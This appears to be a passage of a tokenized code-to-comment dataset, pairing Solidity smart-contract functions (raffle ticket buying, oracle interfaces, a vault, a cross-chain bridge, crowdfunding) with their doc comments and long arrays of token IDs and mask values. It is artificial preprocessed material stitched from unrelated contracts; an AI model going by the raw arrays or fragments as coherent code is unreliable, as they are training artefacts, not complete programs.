-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/4/0xF385BE5f6AE64f3C6e967C1CD7Ac359039BcE62c/sources/contracts/NaffleNew.sol | require(creatorToCampaign[_creator][_campaignIndex].tickets.length <= creatorToCampaign[_creator][_campaignIndex].totalTickets, "The number of ticket is over the max value."); | function buyTicket (address _creator, uint256 _campaignIndex, string memory _ticketAvatarURI, uint256 _ticketAmount) public payable checkingExistCampaign(_creator, _campaignIndex){
require(_creator != msg.sender, "This item is ordered by you. Error.");
require( (_ticketAmount + creatorToCampaign[_creator][_campaignIndex].tickets.length) <= creatorToCampaign[_creator][_campaignIndex].totalTickets, "The number of ticket is over the max value.");
require(creatorToCampaign[_creator][_campaignIndex].endTime >= block.timestamp, "Campaign timeout.");
require(msg.value == creatorToCampaign[_creator][_campaignIndex].ticketPrice * _ticketAmount, "Not enough Ether sent.");
require(_ticketAmount <= maxTicketAmount, "Too many tickets");
require(tx.origin == msg.sender, "cannot buy from contract");
for(uint256 i = 0; i < _ticketAmount; ++i) {
uint256 ticketTokenId = ticketNFT.customMint(msg.sender, _ticketAvatarURI, "xxx");
creatorToCampaign[_creator][_campaignIndex].tickets.push(ticketTokenId);
creatorToCampaign[_creator][_campaignIndex].ticketIdToBuyer[ticketTokenId] = msg.sender;
}
address _nftAddress = creatorToCampaign[_creator][_campaignIndex].nftAddress;
uint256 _nftTokenId = creatorToCampaign[_creator][_campaignIndex].nftTokenId;
campaignCache[_nftAddress][_nftTokenId].currentTicketCountForCache = campaignCache[_nftAddress][_nftTokenId].currentTicketCountForCache + _ticketAmount;
emit TicketBought(_creator,msg.sender,_campaignIndex,_ticketAvatarURI);
}
| 12,288,302 | [
1,
6528,
12,
20394,
774,
13432,
63,
67,
20394,
6362,
67,
14608,
1016,
8009,
6470,
2413,
18,
2469,
1648,
11784,
774,
13432,
63,
67,
20394,
6362,
67,
14608,
1016,
8009,
4963,
6264,
2413,
16,
315,
1986,
1300,
434,
9322,
353,
1879,
326,
943,
460,
1199,
1769,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
30143,
13614,
261,
2867,
389,
20394,
16,
2254,
5034,
389,
14608,
1016,
16,
533,
3778,
389,
16282,
23999,
3098,
16,
2254,
5034,
389,
16282,
6275,
13,
1071,
8843,
429,
6728,
4786,
13432,
24899,
20394,
16,
389,
14608,
1016,
15329,
203,
3639,
2583,
24899,
20394,
480,
1234,
18,
15330,
16,
315,
2503,
761,
353,
5901,
635,
1846,
18,
1068,
1199,
1769,
203,
3639,
2583,
12,
261,
67,
16282,
6275,
397,
225,
11784,
774,
13432,
63,
67,
20394,
6362,
67,
14608,
1016,
8009,
6470,
2413,
18,
2469,
13,
1648,
11784,
774,
13432,
63,
67,
20394,
6362,
67,
14608,
1016,
8009,
4963,
6264,
2413,
16,
315,
1986,
1300,
434,
9322,
353,
1879,
326,
943,
460,
1199,
1769,
203,
3639,
2583,
12,
20394,
774,
13432,
63,
67,
20394,
6362,
67,
14608,
1016,
8009,
409,
950,
1545,
1203,
18,
5508,
16,
315,
13432,
2021,
1199,
1769,
203,
3639,
2583,
12,
3576,
18,
1132,
422,
11784,
774,
13432,
63,
67,
20394,
6362,
67,
14608,
1016,
8009,
16282,
5147,
380,
389,
16282,
6275,
16,
315,
1248,
7304,
512,
1136,
3271,
1199,
1769,
203,
3639,
2583,
24899,
16282,
6275,
1648,
943,
13614,
6275,
16,
315,
10703,
4906,
24475,
8863,
203,
3639,
2583,
12,
978,
18,
10012,
422,
1234,
18,
15330,
16,
315,
12892,
30143,
628,
6835,
8863,
203,
203,
3639,
364,
12,
11890,
5034,
277,
273,
374,
31,
277,
411,
389,
16282,
6275,
31,
965,
77,
13,
288,
203,
5411,
2254,
5034,
9322,
1345,
548,
273,
9322,
50,
4464,
18,
3662,
49,
474,
12,
3576,
18,
15330,
16,
389,
16282,
2
]
|
pragma solidity 0.4.24;
import "./ITellorGetters.sol";
import "./IMedianOracle.sol";
contract TellorProvider{
ITellorGetters public tellor;
IMedianOracle public medianOracle;
struct TellorTimes{
uint128 time0;
uint128 time1;
}
TellorTimes public tellorReport;
uint256 constant TellorID = 10;
constructor(address _tellor, address _medianOracle) public {
tellor = ITellorGetters(_tellor);
medianOracle = IMedianOracle(_medianOracle);
}
function pushTellor() external {
(bool retrieved, uint256 value, uint256 _time) = getTellorData();
//Saving _time in a storage value to quickly verify disputes later
if(tellorReport.time0 >= tellorReport.time1) {
tellorReport.time1 = uint128(_time);
} else {
tellorReport.time0 = uint128(_time);
}
medianOracle.pushReport(value);
}
function verifyTellorReports() external {
//most recent tellor report is in dispute, so let's purge it
if(tellor.retrieveData(TellorID, tellorReport.time0) == 0 || tellor.retrieveData(TellorID,tellorReport.time1) == 0){
medianOracle.purgeReports();
}
}
function getTellorData() internal view returns(bool, uint256, uint256){
uint256 _count = tellor.getNewValueCountbyRequestId(TellorID);
if(_count > 0) {
uint256 _time = tellor.getTimestampbyRequestIDandIndex(TellorID, _count - 1);
uint256 _value = tellor.retrieveData(TellorID, _time);
return(true, _value, _time);
}
return (false, 0, 0);
}
}
pragma solidity 0.4.24;
/**
* @title Tellor Getters
* @dev Oracle contract with all tellor getter functions. The logic for the functions on this contract
* is saved on the TellorGettersLibrary, TellorTransfer, TellorGettersLibrary, and TellorStake
*/
interface ITellorGetters {
function getNewValueCountbyRequestId(uint _requestId) external view returns(uint);
function getTimestampbyRequestIDandIndex(uint _requestID, uint _index) external view returns(uint);
function retrieveData(uint _requestId, uint _timestamp) external view returns (uint);
}
pragma solidity 0.4.24;
interface IMedianOracle{
// // The number of seconds after which the report is deemed expired.
// uint256 public reportExpirationTimeSec;
// // The number of seconds since reporting that has to pass before a report
// // is usable.
// uint256 public reportDelaySec;
function reportDelaySec() external returns(uint256);
function reportExpirationTimeSec() external returns(uint256);
function pushReport(uint256 payload) external;
function purgeReports() external;
}
| The number of seconds after which the report is deemed expired. uint256 public reportExpirationTimeSec; The number of seconds since reporting that has to pass before a report is usable. uint256 public reportDelaySec; | interface IMedianOracle{
function reportDelaySec() external returns(uint256);
function reportExpirationTimeSec() external returns(uint256);
function pushReport(uint256 payload) external;
function purgeReports() external;
}
| 7,229,151 | [
1,
1986,
1300,
434,
3974,
1839,
1492,
326,
2605,
353,
443,
351,
329,
7708,
18,
2254,
5034,
1071,
2605,
12028,
950,
2194,
31,
225,
1021,
1300,
434,
3974,
3241,
16096,
716,
711,
358,
1342,
1865,
279,
2605,
225,
353,
15603,
18,
2254,
5034,
1071,
2605,
6763,
2194,
31,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
5831,
6246,
329,
2779,
23601,
95,
203,
203,
203,
565,
445,
2605,
6763,
2194,
1435,
3903,
1135,
12,
11890,
5034,
1769,
203,
565,
445,
2605,
12028,
950,
2194,
1435,
3903,
1135,
12,
11890,
5034,
1769,
203,
565,
445,
1817,
4820,
12,
11890,
5034,
2385,
13,
3903,
31,
203,
565,
445,
11668,
18631,
1435,
3903,
31,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/5/0xD6ee3B39dD53b753E3253Befa40222602406409B/sources/src/Vault.sol | @notice Mint debt on a given vault @param vaultId Id of the vault @param amount The debt amount to be mited | function mintDebt(uint256 vaultId, uint256 amount) public onlyUnpaused {
_requireVaultOwner(vaultId);
_updateVaultStabilisationFee(vaultId);
token.mint(msg.sender, amount);
vaultDebt[vaultId] += amount;
uint256 overallVaultDebt = stabilisationFeeVaultSnapshot[vaultId] + vaultDebt[vaultId];
(, uint256 adjustedCollateral, ) = _calculateVaultCollateral(vaultId, 0, true);
if (adjustedCollateral < overallVaultDebt) {
revert PositionUnhealthy();
}
if (_protocolParams.maxDebtPerVault < overallVaultDebt) {
revert DebtLimitExceeded();
}
emit DebtMinted(msg.sender, vaultId, amount);
}
| 1,876,112 | [
1,
49,
474,
18202,
88,
603,
279,
864,
9229,
225,
9229,
548,
3124,
434,
326,
9229,
225,
3844,
1021,
18202,
88,
3844,
358,
506,
312,
16261,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
312,
474,
758,
23602,
12,
11890,
5034,
9229,
548,
16,
2254,
5034,
3844,
13,
1071,
1338,
984,
8774,
3668,
288,
203,
3639,
389,
6528,
12003,
5541,
12,
26983,
548,
1769,
203,
3639,
389,
2725,
12003,
510,
22681,
10742,
14667,
12,
26983,
548,
1769,
203,
203,
3639,
1147,
18,
81,
474,
12,
3576,
18,
15330,
16,
3844,
1769,
203,
3639,
9229,
758,
23602,
63,
26983,
548,
65,
1011,
3844,
31,
203,
3639,
2254,
5034,
13914,
12003,
758,
23602,
273,
384,
22681,
10742,
14667,
12003,
4568,
63,
26983,
548,
65,
397,
9229,
758,
23602,
63,
26983,
548,
15533,
203,
203,
3639,
261,
16,
2254,
5034,
13940,
13535,
2045,
287,
16,
262,
273,
389,
11162,
12003,
13535,
2045,
287,
12,
26983,
548,
16,
374,
16,
638,
1769,
203,
3639,
309,
261,
13362,
329,
13535,
2045,
287,
411,
13914,
12003,
758,
23602,
13,
288,
203,
5411,
15226,
11010,
984,
31690,
5621,
203,
3639,
289,
203,
203,
3639,
309,
261,
67,
8373,
1370,
18,
1896,
758,
23602,
2173,
12003,
411,
13914,
12003,
758,
23602,
13,
288,
203,
5411,
15226,
1505,
23602,
3039,
10069,
5621,
203,
3639,
289,
203,
203,
3639,
3626,
1505,
23602,
49,
474,
329,
12,
3576,
18,
15330,
16,
9229,
548,
16,
3844,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.5.0;
import "@openzeppelin/contracts/math/SafeMath.sol";
// import "./SafeMath.sol";
import "@chainlink/contracts/src/v0.5/interfaces/AggregatorInterface.sol";
// import "./AggregatorInterface.sol";
contract HmyBridge {
using SafeMath for uint256;
mapping(bytes32 => bool) public usedEvents_;
mapping(address => bool) public listERC;
mapping(address => uint256) public wards;
address public owner;
address public oracleONE;
mapping(address => address) public mappings;
uint16 public threshold;
mapping(bytes32 => uint16) confirmations;
event Locked(
address indexed addrTokenTo,
address indexed sender,
uint256 amountONE,
uint256 priceONE,
uint256 amountUSD,
address recipient
);
event Unlocked(
uint256 amountUSD,
uint256 priceONE,
uint256 amountONE,
address recipient,
bytes32 receiptId
);
event WithdrawONE(address indexed _owner, uint256 amount, string msg);
modifier auth {
require(wards[msg.sender] == 1, "HmyManager/not-authorized");
_;
}
/**
* @dev constructor
*/
constructor() public {
owner = msg.sender;
wards[owner] = 1;
threshold = 1;
oracleONE = address(0x05d511aAfc16c7c12E60a2Ec4DbaF267eA72D420);
listERC[address(0x0000000000000000000000000000000000000001)] = true;
listERC[address(0xaD6D458402F60fD3Bd25163575031ACDce07538D)] = true;
listERC[address(0xb4f7332ed719Eb4839f091EDDB2A3bA309739521)] = true;
listERC[address(0x4E470dc7321E84CA96FcAEDD0C8aBCebbAEB68C6)] = true;
}
function rely(address guy) external auth {
wards[guy] = 1;
}
function deny(address guy) external auth {
require(guy != owner, "HmyManager/cannot deny the owner");
wards[guy] = 0;
}
function changeOracleONE(address _oracleONE) external auth {
require(
_oracleONE != address(0),
"hmyBrigde/oracleONE is a zero address"
);
oracleONE = _oracleONE;
}
/**
* @dev change threshold requirement
* @param newTheshold new threshold requirement
*/
function changeThreshold(uint16 newTheshold) public {
require(
msg.sender == owner,
"HmyManager/only owner can change threshold"
);
threshold = newTheshold;
}
/**
* @dev change listERC
* @param _addrERC address of contract ERC in Ethereum
* @param _status is staus of address ERC
*/
function changeListERC(address _addrERC, bool _status) public auth {
require(_addrERC != address(0), "address of oracle is a zero address");
listERC[_addrERC] = _status;
}
/**
* Returns the latest price
*/
function getLatestPrice(address _tokenERC) public view returns (int256) {
AggregatorInterface priceFeed = AggregatorInterface(_tokenERC);
int256 price = priceFeed.latestAnswer();
return price;
}
/**
* @dev lock ONE to be transfer ERC to recipient on ETH chain
* @param addrTokenTo is address of tokenTo on Ethereum
* @param amountONE amount of ONE to lock
* @param recipient recipient address on the ethereum chain
*/
function lockOne(
address addrTokenTo,
uint256 amountONE,
address recipient
) public payable {
require(
listERC[addrTokenTo],
"address token ERC are not currently supported"
);
require(amountONE > 0, "amount token locked is zero");
require(amountONE == msg.value, "amount ONE and msg.value different");
require(
recipient != address(0),
"hmyBrigde/recipient is a zero address"
);
uint256 _priceONE = uint256(getLatestPrice(oracleONE));
uint256 _amountUSD = _priceONE * msg.value;
emit Locked(
addrTokenTo,
msg.sender,
msg.value,
_priceONE,
_amountUSD,
recipient
);
}
/**
* @dev unlock ONE after locktoken them on ethereum chain
* @param amountUSD amount USD of unlock on Harmony
* @param recipient recipient of the unlock tokens
* @param receiptId transaction hash of the locktoken event on harmony chain
*/
function unlockOne(
uint256 amountUSD,
address payable recipient,
bytes32 receiptId
) public auth {
require(!usedEvents_[receiptId], "hmyBrigde/zero token unlocked");
confirmations[receiptId] = confirmations[receiptId] + 1;
if (confirmations[receiptId] < threshold) {
return;
}
usedEvents_[receiptId] = true;
// int256 a = 541000;
// uint256 _priceONE = 541000;
uint256 _priceONE = uint256(getLatestPrice(oracleONE));
uint256 _amountONE = amountUSD.div(_priceONE);
recipient.transfer(_amountONE);
emit Unlocked(amountUSD, _priceONE, _amountONE, recipient, receiptId);
// delete confirmations entry for receiptId
delete confirmations[receiptId];
}
/**
* get balance ONE
*/
function getBalanceOne() public view returns (uint256) {
return address(this).balance;
}
/** Function withdraw ONE to account Manager
*/
function withdraw(address payable _owner) public auth {
uint256 balanceBefore = address(this).balance;
_owner.transfer(address(this).balance);
emit WithdrawONE(_owner, balanceBefore, "Withdraw ETH");
}
function() external payable {}
}
| * @dev change threshold requirement @param newTheshold new threshold requirement/ | function changeThreshold(uint16 newTheshold) public {
require(
msg.sender == owner,
"HmyManager/only owner can change threshold"
);
threshold = newTheshold;
}
| 5,461,867 | [
1,
3427,
5573,
12405,
225,
394,
1315,
4607,
1673,
394,
5573,
12405,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
2549,
7614,
12,
11890,
2313,
394,
1315,
4607,
1673,
13,
1071,
288,
203,
3639,
2583,
12,
203,
5411,
1234,
18,
15330,
422,
3410,
16,
203,
5411,
315,
44,
4811,
1318,
19,
3700,
3410,
848,
2549,
5573,
6,
203,
3639,
11272,
203,
3639,
5573,
273,
394,
1315,
4607,
1673,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/3/0x49b46E2754398c6c96f641e4aDd992E3cc2D52fc/sources/contracts/Crowdfunding.sol | * @dev Function to get specific information about the project./ | function getDetails() public view returns
(
address projectStarter,
string memory projectTitle,
string memory projectDesc,
uint256 deadline,
State currentState,
uint256 currentAmount,
uint256 goalAmount
) {
projectStarter = creator;
projectTitle = title;
projectDesc = description;
deadline = raiseBy;
currentState = state;
currentAmount = currentBalance;
goalAmount = amountGoal;
}
| 8,146,004 | [
1,
2083,
358,
336,
2923,
1779,
2973,
326,
1984,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
2343,
1987,
1435,
1071,
1476,
1135,
7010,
565,
261,
203,
3639,
1758,
225,
1984,
510,
14153,
16,
203,
3639,
533,
3778,
1984,
4247,
16,
203,
3639,
533,
3778,
1984,
4217,
16,
203,
3639,
2254,
5034,
14096,
16,
203,
3639,
3287,
17773,
16,
203,
3639,
2254,
5034,
783,
6275,
16,
203,
3639,
2254,
5034,
17683,
6275,
203,
565,
262,
288,
203,
3639,
1984,
510,
14153,
273,
11784,
31,
203,
3639,
1984,
4247,
273,
2077,
31,
203,
3639,
1984,
4217,
273,
2477,
31,
203,
3639,
14096,
273,
1002,
858,
31,
203,
3639,
17773,
273,
919,
31,
203,
3639,
783,
6275,
273,
783,
13937,
31,
203,
3639,
17683,
6275,
273,
3844,
27716,
31,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/1/0x72791dA88B34869CdF4863d966F182D866f51c04/sources/@yield-protocol/vault-v2/src/FYToken.sol | @dev Converts the amount of the underlying to the principal | function convertToPrincipal(uint256 underlyingAmount) external override returns (uint256 principalAmount) {
return _convertToPrincipal(underlyingAmount);
}
| 3,954,679 | [
1,
5692,
326,
3844,
434,
326,
6808,
358,
326,
8897,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
